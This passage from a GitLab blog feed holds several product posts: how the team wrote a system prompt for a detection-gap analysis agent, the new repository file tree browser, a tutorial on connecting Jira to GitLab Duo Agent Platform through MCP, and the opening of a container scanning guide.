the most important part. It&#39;s the agent&#39;s knowledge base: everything it knows about your team, your environment, your standards, and how it should reason about its work. A thin, vague system prompt produces thin, vague output. A verbose, carefully crafted system prompt produces an agent that behaves like a knowledgeable member of your team.</p><p>Here&#39;s the approach we took when writing our system prompt for the Detection Engineering Assistant:</p><h3 id="define-the-agents-role-and-scope-clearly">Define the agent&#39;s role and scope clearly</h3><p>We opened the system prompt by telling the agent exactly what it is and what it&#39;s responsible for. Not just &quot;you are a security analyst.&quot; We specifically prompted: &quot;You are a detection engineering assistant for GitLab&#39;s Signals Engineering team, responsible for analyzing security incidents and identifying gaps in our detection coverage.&quot; This framing anchors every response it produces.</p><h3 id="encode-your-detection-philosophy">Encode your detection philosophy</h3><p>We wrote out what &quot;a good detection&quot; means to us: low false positive rates, high signal fidelity, and actionable alerts that provide responders with the context they need. We explained our preference for behavioral detections over IOC-based detections where possible, and described how we think about the tradeoff between coverage breadth and alert fatigue.</p><h3 id="give-it-context-on-your-tech-stack-and-log-sources">Give it context on your tech stack and log sources</h3><p>An agent can only recommend what you can actually build. We told the agent which log sources we ingest, what our SIEM looks like, and what data is and isn&#39;t available to us. This means when it recommends a new detection, it does so in terms of what we can actually implement, not hypothetical telemetry we don&#39;t have.</p><h3 id="ground-it-in-mitre-attck">Ground it in MITRE ATT&amp;CK</h3><p>We told the agent to organize its gap findings using ATT&amp;CK tactics and techniques. This gives us consistent, structured output that maps directly to how we track coverage internally, and makes it easy to prioritize which gaps to address first.</p><h3 id="set-expectations-for-output-format">Set expectations for output format</h3><p>We specified exactly what we want the agent to produce: a structured list of detection gaps, each with the relevant ATT&amp;CK technique, a description of what was missed, the log source or data that could support a detection, and a recommended approach. A consistent output format makes the findings easier to triage and turn into engineering work.</p><h3 id="example-system-prompt-excerpt">Example system prompt excerpt</h3><p><em>Note: Our full Detection Engineering Assistant system prompt is 1,870 words and 337 lines. The example below is just a small example of what a full custom system prompt can be.</em></p><pre className="language-text" code="You are the Detection Engineering Assistant for GitLab&#39;s Security Operations team. Your role is to analyze closed security incidents and identify gaps in our detection capabilities.

When reviewing an incident, you should:
1. Identify each distinct attacker action or technique described in the incident timeline
2. For each action, assess whether our existing detections would have caught it
3. For any action that would not have been detected, document it as a detection gap

For each gap, provide:
- MITRE ATT&amp;CK Technique ID and name (e.g., T1078 - Valid Accounts)
- A plain-language description of what happened and why it wasn&#39;t detected
- The log source or telemetry that could support a detection (e.g., authentication logs, process execution events, network flow data)
- A recommended detection approach, written in terms our SIEM can implement

Our SIEM ingests [log sources]. Our detection standards prioritize behavioral patterns over static IOCs. Avoid recommending detections that would generate significant false positives without a high-confidence tuning path...
" language="text" meta=""><code>You are the Detection Engineering Assistant for GitLab&#39;s Security Operations team. Your role is to analyze closed security incidents and identify gaps in our detection capabilities.

When reviewing an incident, you should:
1. Identify each distinct attacker action or technique described in the incident timeline
2. For each action, assess whether our existing detections would have caught it
3. For any action that would not have been detected, document it as a detection gap

For each gap, provide:
- MITRE ATT&amp;CK Technique ID and name (e.g., T1078 - Valid Accounts)
- A plain-language description of what happened and why it wasn&#39;t detected
- The log source or telemetry that could support a detection (e.g., authentication logs, process execution events, network flow data)
- A recommended detection approach, written in terms our SIEM can implement

Our SIEM ingests [log sources]. Our detection standards prioritize behavioral patterns over static IOCs. Avoid recommending detections that would generate significant false positives without a high-confidence tuning path...
</code></pre><p>A system prompt this specific produces dramatically more useful output than a generic one. The agent stops giving you general security advice and starts giving you detection engineering recommendations.</p><h2 id="running-gap-analysis-on-incidents">Running gap analysis on incidents</h2><p>With the Detection Engineering Assistant configured, the workflow is simple. At the close of an incident, we open the incident issue in GitLab and invoke the assistant. It reads the full issue — the incident summary, timeline, investigative notes, and any linked resources — and returns a structured gap analysis.</p><p>A typical output looks like this:</p><p><strong>Gap: Lateral movement via valid credentials not detected</strong></p><ul><li><strong>ATT&amp;CK:</strong> T1078.004 — Valid Accounts: Cloud Accounts</li><li><strong>What happened:</strong> An attacker used a valid access token to authenticate to an auxiliary GitLab instance. No alert fired because we lacked authentication baseline detections for that instance.</li><li><strong>Log source:</strong> Authentication logs from <code className="">example.gitlab.com</code></li><li><strong>Recommended approach:</strong> Create a detection that alerts on first-time authentication from a user account to <code className="">example.gitlab.com</code> within a 90-day rolling window, with suppression for accounts with established access patterns.</li></ul><p>This kind of structured output goes directly into our engineering backlog. We treat the agent&#39;s analysis as a high-quality first draft. It gets reviewed by a human engineer who validates the findings, checks whether gaps are already covered by detections we haven&#39;t documented, and adds context before it becomes an engineering issue. But the hard work of reading the incident and generating the initial findings is automated.</p><h2 id="what-weve-learned">What we&#39;ve learned</h2><p>A few things stand out from building and iterating on this workflow:</p><p><strong>The system prompt is a living document</strong> — Every time the agent produces an output that misses something obvious or gets the framing wrong, we update the prompt. The agent&#39;s quality is a direct reflection of how well we&#39;ve encoded our domain knowledge into it.</p><p><strong>Incident documentation quality matters</strong> — An agent can only reason over what&#39;s written down. Incidents with detailed, structured timelines produce much better gap analysis than sparse or informal ones. Building the gap analysis workflow created an unexpected second benefit: it gave us a concrete reason to improve our incident documentation standards.</p><p><strong>This is a force multiplier, not a replacement</strong> — The Detection Engineering Assistant doesn&#39;t replace a skilled detection engineer, but it does amplify one. The engineer still reviews the findings, validates the recommendations, and makes the final call on what goes into the backlog. But the time spent on the initial analysis drops significantly, and the consistency across incidents improves.</p><h2 id="get-started">Get started</h2><p>If you want to build your own detection gap analysis agent, here&#39;s where to start:</p><ol><li>Review your last three to five closed incidents and note what a good gap analysis would have surfaced for each.</li><li>Use those observations to draft a system prompt that encodes your environment, standards, and preferred output format.</li><li>Create a <a href="https://docs.gitlab.com/user/duo_agent_platform/agents/custom/" rel="">custom agent</a> in GitLab Duo Agent Platform with your prompt.</li><li>Run it against one of your incidents and iterate on the prompt based on the output.</li></ol><p>The detection gap problem isn&#39;t going away. But with GitLab Duo Agent Platform, you can make the analysis repeatable, consistent, and embedded directly in the place where your security work already happens.</p><blockquote><p>Start <a href="https://about.gitlab.com/gitlab-duo-agent-platform/" rel="">a free trial of GitLab Duo Agent Platform</a> today!</p></blockquote>]]></content>
        <author>
            <name>Matt Coons</name>
            <uri>https://about.gitlab.com/blog/authors/matt-coons/</uri>
        </author>
        <published>2026-03-10T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Navigate repositories faster with the file tree browser]]></title>
        <id>https://about.gitlab.com/blog/navigate-repositories-faster-with-the-file-tree-browser/</id>
        <link href="https://about.gitlab.com/blog/navigate-repositories-faster-with-the-file-tree-browser/"/>
        <updated>2026-03-09T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>You spot a file in the repository browser. You click into it, read through the code, and now you need to check something in a different part of the tree. So you hit the back button. Navigate down again. Maybe one more level. You find the next file, click in, and repeat.</p><p>It works. It just gets old fast.</p><p>If you have ever wished the repository browser felt more like your IDE and less like a series of breadcrumb trails, the file tree browser in GitLab 18.9 is for you.</p><h2 id="what-the-file-tree-browser-does">What the file tree browser does</h2><p>The file tree browser adds a collapsible, resizable panel alongside your file and directory views so your project structure stays visible while you read and navigate code. No more losing your place. No more clicking back to figure out where you are.</p><p>It shows your project’s files and directories in a tree alongside the file list and file content so you can see structure and code at the same time.</p><p>If you have used a file tree in an IDE or a Git platform, it should feel familiar:</p><p><strong>Navigate with structure</strong></p><p>Expand and collapse directories and switch between files while keeping a clear view of where you are in the repository hierarchy. When you navigate directly to a nested file, the tree expands parent directories and highlights the current file so you do not lose context. The tree also synchronizes with your current location, so selecting a file in the main content area updates the tree to match.</p><p><strong>Filter by filename</strong></p><p>After opening the tree, press <code className="">F</code> to open the global search dialog. Type part of a filename to jump to it from the results list, with each result showing its parent directories so you know where you are landing.</p><p><strong>Keyboard-first navigation</strong></p><p>The tree implements the W3C ARIA treeview pattern, so you can move through files and directories entirely from the keyboard using arrow keys plus Enter, Space, Home, End, and character keys. That makes it more accessible for screen reader users and anyone who prefers to keep their hands on the keyboard.</p><p><strong>Responsive across viewports</strong></p><p>On a desktop, the tree sits side by side with your file list and code. On smaller viewports, it becomes a left-side drawer you can toggle open when you need it. On mobile, the tree is hidden so the code view can use the full screen.</p><p><strong>Built for large repositories</strong></p><p>For repositories with many entries, the tree uses pagination so you can load more items as needed without overwhelming the page. The experience stays responsive as your project grows.</p><h2 id="see-the-file-tree-browser-in-action">See the file tree browser in action</h2><p>Watch GitLab Principal Developer Advocate Michael Friedrich walk through the new file tree browser in GitLab and see how it makes navigating large repositories feel like working in your IDE. The demo uses the <a href="https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/demo-environments/tanuki-iot-platform" rel="">GitLab project: Tanuki IoT Platform</a> project, which you can explore yourself to try the file tree in a real repository.</p><iframe src="https://player.vimeo.com/video/1171188581?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="File Tree in Repo Demo"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="try-the-file-tree-browser-today">Try the file tree browser today</h2><p>The file tree browser is available now on GitLab.com and was released in <a href="https://about.gitlab.com/releases/2026/02/19/gitlab-18-9-released/" rel="">18.9</a> for GitLab Self-Managed and GitLab Dedicated.</p><p>Here is how to get started:</p><ol><li>Open any repository file or directory view in your project (<code className="">/&lt;project&gt;/-/tree/&lt;branch&gt;</code>).</li><li>In the upper left corner, select the file tree icon or press <code className="">Shift+F</code> to toggle the file tree browser.</li><li>Press <code className="">F</code> to filter files by name or extension, start typing, and use the arrow keys plus <code className="">Enter</code> to jump directly to the file you want.</li></ol><h2 id="whats-next">What’s next</h2><p>The Source Code team at GitLab built the file tree browser with accessibility, performance at scale, and cross-viewport consistency as core requirements. Those principles will continue to guide what comes next, and your feedback will help us shape future iterations.</p><h2 id="help-us-continue-to-improve-the-file-tree-browser">Help us continue to improve the file tree browser</h2><p>Share your thoughts about the file tree browser in <a href="https://gitlab.com/gitlab-org/gitlab/-/issues/581271" rel="">our feedback issue</a>.</p><blockquote><p>Want to learn more about the file tree browser? Read the <a href="https://docs.gitlab.com/user/project/repository/files/file_tree_browser/" rel="">file tree browser documentation</a>.</p></blockquote>]]></content>
        <author>
            <name>Talia Armato-Helle</name>
            <uri>https://about.gitlab.com/blog/authors/talia-armato-helle/</uri>
        </author>
        <published>2026-03-09T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Extend GitLab Duo Agent Platform: Connect any tool with MCP]]></title>
        <id>https://about.gitlab.com/blog/extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp/</id>
        <link href="https://about.gitlab.com/blog/extend-gitlab-duo-agent-platform-connect-any-tool-with-mcp/"/>
        <updated>2026-03-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Managing software development often means juggling multiple tools: tracking issues in Jira, writing code in your IDE, and collaborating through GitLab. Context switching between these platforms disrupts focus and slows down delivery.</p><p>With GitLab Duo Agent Platform&#39;s <a href="https://about.gitlab.com/topics/ai/model-context-protocol/" rel="">MCP</a> support, you can now connect Jira or any tool that supports MCP directly to your AI-powered development environment. Query issues, update tickets, and sync your workflow — all through natural language, without ever leaving your IDE.</p><h2 id="what-youll-learn">What you&#39;ll learn</h2><p>In this tutorial, we&#39;ll walk you through:</p><ul><li><strong>Setting up the Jira/Atlassian OAuth application</strong> for secure authentication</li><li><strong>Configuring GitLab Duo Agent Platform</strong> as an MCP client</li><li><strong>Three practical use cases</strong> demonstrating real-world workflows</li></ul><h2 id="prerequisites">Prerequisites</h2><p>Before getting started, ensure you have the following:</p><table><thead><tr><th>Requirement</th><th>Details</th></tr></thead><tbody><tr><td><strong>GitLab instance</strong></td><td>GitLab 18.8+ with Duo Agent Platform enabled</td></tr><tr><td><strong>Jira account</strong></td><td>Jira Cloud instance with admin access to create OAuth applications</td></tr><tr><td><strong>IDE</strong></td><td>Visual Studio Code with GitLab Workflow extension installed</td></tr><tr><td><strong>MCP support</strong></td><td>MCP support enabled in GitLab</td></tr></tbody></table><h2 id="understanding-the-architecture">Understanding the architecture</h2><p>GitLab Duo Agent Platform acts as an <strong>MCP client</strong>, connecting to the Atlassian MCP server to access your Jira project management data. Atlassian  MCP server handles authentication, translates natural language requests into API calls, and returns structured data back to GitLab Duo Agent Platform — all while maintaining security and audit controls.</p><h2 id="part-1-configure-jira-oauth-application">Part 1: Configure Jira OAuth application</h2><p>To securely connect GitLab Duo Agent Platform to your Jira instance, you&#39;ll need to create an OAuth 2.0 application in the Atlassian Developer Console. This grants to GitLab the MCP server authorized access to your Jira data.</p><h3 id="setup-steps">Setup steps</h3><p>If you prefer to configure manually, follow these steps:</p><ol><li><strong>Navigate to the Atlassian Developer Console</strong><ul><li>Go to <a href="https://developer.atlassian.com/console/myapps" rel="">developer.atlassian.com/console/myapps</a></li><li>Sign in with your Atlassian account</li></ul></li><li><strong>Create a new OAuth 2.0 app</strong><ul><li>Click <strong>Create</strong> → <strong>OAuth 2.0 integration</strong></li><li>Enter a name (e.g., &quot;gitlab-dap-mcp&quot;)</li><li>Accept the terms and click <strong>Create</strong></li></ul></li><li><strong>Configure permissions</strong><ul><li>Navigate to <strong>Permissions</strong> in the left sidebar.</li><li>Add <strong>Jira API</strong> and configure the following scopes:<ul><li><code className="">read:jira-work</code> — Read issues, projects, and boards</li><li><code className="">write:jira-work</code> — Create and update issues</li><li><code className="">read:jira-user</code> — Read user information</li></ul></li></ul></li><li><strong>Set up authorization</strong><ul><li>Go to <strong>Authorization</strong> in the left sidebar</li><li>Add a callback URL for your environment (<code className="">https://gitlab.com/oauth/callback</code>)</li><li>Save your changes</li></ul></li><li><strong>Retrieve credentials</strong><ul><li>Navigate to <strong>Settings</strong></li><li>Copy your <strong>Client ID</strong> and <strong>Client Secret</strong></li><li>Store these securely — you&#39;ll need them for the MCP configuration</li></ul></li></ol><h3 id="interactive-walkthrough-jira-oauth-setup">Interactive walkthrough: Jira OAuth setup</h3><p>Click on the image below to get started.</p><p><a href="https://gitlab.navattic.com/jira-oauth-setup" rel=""><img alt="Jira OAuth setup tour" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772644850/wnzfoq43nkkfmgdqldmr.png" /></a></p><h2 id="part-2-configure-gitlab-duo-agent-platform-mcp-client">Part 2: Configure GitLab Duo Agent Platform MCP client</h2><p>With your OAuth credentials ready, you can now configure GitLab Duo Agent Platform to connect to the Atlassian MCP server.</p><h3 id="create-your-mcp-configuration-file">Create your MCP configuration file</h3><p>Create the MCP configuration file in your GitLab project at <code className="">.gitlab/duo/mcp.json</code>:</p><pre className="language-json shiki shiki-themes github-light" code="{
  &quot;mcpServers&quot;: {
    &quot;atlassian&quot;: {
      &quot;type&quot;: &quot;http&quot;,
      &quot;url&quot;: &quot;https://mcp.atlassian.com/v1/mcp&quot;,
      &quot;auth&quot;: {
        &quot;type&quot;: &quot;oauth2&quot;,
        &quot;clientId&quot;: &quot;YOUR_CLIENT_ID&quot;,
        &quot;clientSecret&quot;: &quot;YOUR_CLIENT_SECRET&quot;,
        &quot;authorizationUrl&quot;: &quot;https://auth.atlassian.com/oauth/authorize&quot;,
        &quot;tokenUrl&quot;: &quot;https://auth.atlassian.com/oauth/token&quot;
      },
      &quot;approvedTools&quot;: true
    }
  }
}
" language="json" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">{
</span></span><span class="line" line="2"><span style="--shiki-default:#005CC5">  &quot;mcpServers&quot;</span><span style="--shiki-default:#24292E">: {
</span></span><span class="line" line="3"><span style="--shiki-default:#005CC5">    &quot;atlassian&quot;</span><span style="--shiki-default:#24292E">: {
</span></span><span class="line" line="4"><span style="--shiki-default:#005CC5">      &quot;type&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;http&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="5"><span style="--shiki-default:#005CC5">      &quot;url&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;https://mcp.atlassian.com/v1/mcp&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="6"><span style="--shiki-default:#005CC5">      &quot;auth&quot;</span><span style="--shiki-default:#24292E">: {
</span></span><span class="line" line="7"><span style="--shiki-default:#005CC5">        &quot;type&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;oauth2&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="8"><span style="--shiki-default:#005CC5">        &quot;clientId&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;YOUR_CLIENT_ID&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="9"><span style="--shiki-default:#005CC5">        &quot;clientSecret&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;YOUR_CLIENT_SECRET&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="10"><span style="--shiki-default:#005CC5">        &quot;authorizationUrl&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;https://auth.atlassian.com/oauth/authorize&quot;</span><span style="--shiki-default:#24292E">,
</span></span><span class="line" line="11"><span style="--shiki-default:#005CC5">        &quot;tokenUrl&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#032F62">&quot;https://auth.atlassian.com/oauth/token&quot;
</span></span><span class="line" line="12"><span style="--shiki-default:#24292E">      },
</span></span><span class="line" line="13"><span style="--shiki-default:#005CC5">      &quot;approvedTools&quot;</span><span style="--shiki-default:#24292E">: </span><span style="--shiki-default:#005CC5">true
</span></span><span class="line" line="14"><span style="--shiki-default:#24292E">    }
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">  }
</span></span><span class="line" line="16"><span style="--shiki-default:#24292E">}
</span></span></code></pre><p>Replace <code className="">YOUR_CLIENT_ID</code> and <code className="">YOUR_CLIENT_SECRET</code> with the credentials you generated in Part 1.</p><h3 id="enable-mcp-in-gitlab">Enable MCP in GitLab</h3><ol><li>Navigate to your <strong>Group Settings</strong> → <strong>GitLab Duo</strong> → <strong>Configuration</strong></li><li>Make sure “Allow external MCP tools” is checked</li></ol><h3 id="verify-the-connection">Verify the connection</h3><p>Open your project in VS Code and ask in GitLab Duo Agent Platform chat:</p><pre className="language-text" code="What MCP tools do you have access to?
" language="text" meta=""><code>What MCP tools do you have access to?
</code></pre><p>Then</p><pre className="language-text" code="Test the MCP JIRA configuration in this project
" language="text" meta=""><code>Test the MCP JIRA configuration in this project
</code></pre><p>At this point you&#39;ll be redirected from the IDE to the MCP Atlassian website to approve access:</p><p><img alt="Redirect to MCP Atlassian website" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/z5acqjgguh0damnnde9g.png" title="Redirect to MCP Atlassian website" /></p><p><br /><br /></p><p><img alt="Approve access" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/rwowamm8nsubhpixtn3i.png" title="Approve access" /></p><p><br /><br /></p><p><img alt="Select your JIRA instance and approve" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643461/chuzqd0jeptfwvoj7wjr.png" title="Select your JIRA instance and approve" /></p><p><br /><br /></p><p><img alt="Success!" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/bsgti5iste2bzck19o5y.png" title="Success!" /></p><p><br /><br /></p><h3 id="verify-with-the-mcp-dashboard">Verify with the MCP Dashboard</h3><p>GitLab also provides a built-in <strong>MCP Dashboard</strong> directly in your IDE for this.</p><p>In VS Code or VSCodium, open the Command Palette (<code className="">Cmd+Shift+P</code> on macOS, <code className="">Ctrl+Shift+P</code> on Windows/Linux) and search for <strong>&quot;GitLab: Show MCP Dashboard&quot;</strong>. The dashboard opens in a new editor tab and gives you:</p><ul><li><strong>Connection status</strong> for each configured MCP server</li><li><strong>Available tools</strong> exposed by the server (e.g., <code className="">jira_get_issue</code>, <code className="">jira_create_issue</code>)</li><li><strong>Server logs</strong> so you can see exactly which tools are being called in real time</li></ul><p><img alt="MCP servers dashboard and status" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/mmvdfchucacsydivowvn.png" title="MCP servers dashboard and status" /></p><p><br /><br /></p><p><img alt="Server details and permissions" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643462/tcocgdvovp2dl42pvfn8.png" title="Server details and permissions" /></p><p><br /><br /></p><p><img alt="MCP Server logs" src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1772643466/mougvqqk1bozchaufsci.png" title="MCP Server logs" /></p><p><br /><br /></p><h3 id="interactive-walkthrough-testing-mcp">Interactive walkthrough: Testing MCP</h3><iframe src="https://player.vimeo.com/video/1170005495?badge=0&amp;autopause=0&amp; player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Testing MCP"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="part-3-use-cases-in-action">Part 3: Use cases in action</h2><p>Now that your integration is configured, let&#39;s explore three practical workflows that demonstrate the power of connecting Jira to GitLab Duo Agent Platform.</p><h3 id="planning-assistant">Planning assistant</h3><p><strong>Scenario:</strong> You&#39;re preparing for sprint planning and need to quickly assess the backlog, understand priorities, and identify blockers.</p><p>This demo shows you how to:</p><ul><li>Query the backlog</li><li>Identify unassigned high-priority issues</li><li>Get AI-powered sprint recommendations</li></ul><h4 id="example-prompts">Example prompts</h4><p>Try these prompts in GitLab Duo Agent Platform Chat:</p><pre className="language-text" code="List all the unassigned issues in JIRA for project GITLAB
" language="text" meta=""><code>List all the unassigned issues in JIRA for project GITLAB
</code></pre><pre className="language-text" code="Suggest the two top issues to prioritize and summarize them. Assign them to me.
" language="text" meta=""><code>Suggest the two top issues to prioritize and summarize them. Assign them to me.
</code></pre><h3 id="interactive-walkthrough-project-planning">Interactive walkthrough: Project planning</h3><iframe src="https://player.vimeo.com/video/1170005462?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Project Planning"></iframe><script src="https://player.vimeo.com/api/player. js"></script><h3 id="issue-triage-and-creation-from-code">Issue triage and creation from code</h3><p><strong>Scenario:</strong> While reviewing code, you discover a bug and want to create a Jira issue with relevant context — without leaving your IDE.</p><p>This demo walks you through:</p><ul><li>Identifying a bug while coding</li><li>Creating a detailed Jira issue via natural language</li><li>Auto-populating issue fields with code context</li><li>Linking the issue to your current branch</li></ul><h4 id="example-prompts-1">Example prompts</h4><pre className="language-text" code="Search in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().
If it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.
" language="text" meta=""><code>Search in JIRA for a bug related to: Null pointer exception in PaymentService.processRefund().
If it does not exist create it with all the context needed from the code. Find possible blockers that this bug may cause.
</code></pre><pre className="language-text" code="Create a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.
" language="text" meta=""><code>Create a new branch called issue-gitlab-18, checkout, and link it to the issue we just created. Assign the JIRA issue to me and mark it as in-progress.
</code></pre><h3 id="interactive-walkthrough-bug-review-and-task-automation">Interactive walkthrough: Bug review and task automation</h3><iframe src="https://player.vimeo.com/video/1170005368?badge=0&amp;autopause=0&amp; player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Bug Review"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h3 id="cross-system-incident-investigation">Cross-system incident investigation</h3><p><strong>Scenario:</strong> A production incident occurs, and you need to correlate information from Jira (incident ticket), GitLab Project Management, your codebase, and merge requests to identify the root cause.</p><p>This demo demonstrates:</p><ul><li>Fetching incident details from Jira</li><li>Correlating with recent merge requests in GitLab</li><li>Identifying potentially related code changes</li><li>Generating an incident timeline</li><li>Design a remediation plan and create it as a work item in GitLab</li></ul><h4 id="example-prompts-2">Example prompts</h4><pre className="language-text" code="&quot;We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?&quot;
" language="text" meta=""><code>&quot;We have a production incident INC-1 about checkout failures. Can you help me investigate with all available context?&quot;
</code></pre><pre className="language-text" code="Create a timeline of events for incident INC-1 including related Jira issues and recent deployments
" language="text" meta=""><code>Create a timeline of events for incident INC-1 including related Jira issues and recent deployments
</code></pre><pre className="language-text" code="Propose a remediation plan
" language="text" meta=""><code>Propose a remediation plan
</code></pre><h3 id="interactive-walkthrough-cross-system-troubleshooting-and-remediation">Interactive walkthrough: Cross-system troubleshooting and remediation</h3><iframe src="https://player.vimeo.com/video/1170005413?badge=0&amp;autopause=0&amp; player_id=0&amp;app_id=58479" frameBorder="0" allow="autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share" referrerPolicy="strict-origin-when-cross-origin" style="position:absolute;top:0;left:0;width:100%;height:100%;" title="Cross System Investigation"></iframe><script src="https://player.vimeo.com/api/player.js"></script><h2 id="troubleshooting">Troubleshooting</h2><p>These are some common setup issues and quick fixes:</p><table><thead><tr><th>Issue</th><th>Solution</th></tr></thead><tbody><tr><td>&quot;MCP server not found&quot;</td><td>Verify the <code className="">mcp.json</code> file is in the correct location and properly formatted</td></tr><tr><td>&quot;Authentication failed&quot;</td><td>Re-check your OAuth credentials and ensure scopes are correctly configured in Atlassian</td></tr><tr><td>&quot;No Jira tools available&quot;</td><td>Restart VS Code after updating <code className="">mcp.json</code> and ensure MCP is enabled in GitLab</td></tr><tr><td>&quot;Connection timeout&quot;</td><td>Check your network connectivity to <code className="">mcp.atlassian.com</code></td></tr></tbody></table><p><br /> For detailed troubleshooting, see the <a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/" rel="">GitLab MCP clients documentation</a>.</p><h2 id="security-considerations">Security considerations</h2><p>When integrating Jira with GitLab Duo Agent Platform:</p><ul><li><strong>OAuth tokens</strong> — Make sure credentials remain secure</li><li><strong>Principle of least privilege</strong> — Only grant the minimum required Jira scopes</li><li><strong>Token rotation</strong> — Regularly rotate your OAuth credentials as part of security hygiene</li></ul><h2 id="summary">Summary</h2><p>Connecting GitLab Duo Agent Platform to different tools through MCP transforms how you interact with your development lifecycle. In this article, you have learned how to:</p><ul><li><strong>Query issues naturally</strong> — Ask questions about your backlog, sprints, and incidents in natural language.</li><li><strong>Create and update issues on all your DevSecOps environment</strong> — File bugs and update tickets without leaving your IDE.</li><li><strong>Correlate across systems</strong> — Combine Jira data with GitLab project management, merge requests, and pipelines for complete visibility.</li><li><strong>Reduce context switching</strong> — Keep your focus on code while staying connected to project management.</li></ul><p>This integration exemplifies the power of MCP: standardized, secure access to your tools through AI, enabling developers to work more efficiently without sacrificing governance or security.</p><h2 id="read-more">Read more</h2><ul><li><a href="https://about.gitlab.com/blog/duo-agent-platform-with-mcp/" rel="">GitLab Duo Agent Platform adds support for Model Context Protocol</a></li><li><a href="https://about.gitlab.com/topics/ai/model-context-protocol/" rel="">What is Model Context Protocol?</a></li><li><a href="https://about.gitlab.com/blog/agentic-ai-guides-and-resources/" rel="">Agentic AI guides and resources</a></li><li><a href="https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_clients/" rel="">GitLab MCP clients documentation</a></li><li><a href="https://about.gitlab.com/blog/gitlab-duo-agent-platform-complete-getting-started-guide/" rel="">Get started with GitLab Duo Agent Platform: The complete guide</a></li></ul><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Albert Rabassa</name>
            <uri>https://about.gitlab.com/blog/authors/albert-rabassa/</uri>
        </author>
        <published>2026-03-05T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[A complete guide to GitLab Container Scanning]]></title>
        <id>https://about.gitlab.com/blog/complete-guide-to-gitlab-container-scanning/</id>
        <link href="https://about.gitlab.com/blog/complete-guide-to-gitlab-container-scanning/"/>
        <updated>2026-03-05T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Container vulnerabilities don&#39;t wait for your next deployment. They can emerge at any
point, including when you build an image or while containers run in production.
GitLab addresses this reality with multiple container scanning approaches, each designed
for different stages of your container lifecycle.</p><p>In this guide, we&#39;ll explore the different types of container scanning GitLab offers,
how to enable each one, and common configurations to get you started.</p><h2 id="why-container-scanning-matters">Why container scanning matters</h2><p>Security vulnerabilities in container images create risk throughout your application
lifecycle. Base images, OS packages, and application dependencies can all harbor
vulnerabilities that attackers actively exploit. Container scanning detects these risks
early, before they reach production, and provides remediation paths when available.</p><p>Container scanning is a critical component of Software Composition Analysis (SCA),
helping you understand and secure the external dependencies your containerized
applications rely on.</p><h2 id="the-five-types-of-gitlab-container-scanning">The five types of GitLab Container Scanning</h2><p>GitLab offers five distinct container scanning approaches, each serving a specific
purpose in your security strategy.</p><h3 id="_1-pipeline-based-container-scanning">1. Pipeline-based Container Scanning</h3><ul><li>What it does: Scans container images during your CI/CD pipeline execution,
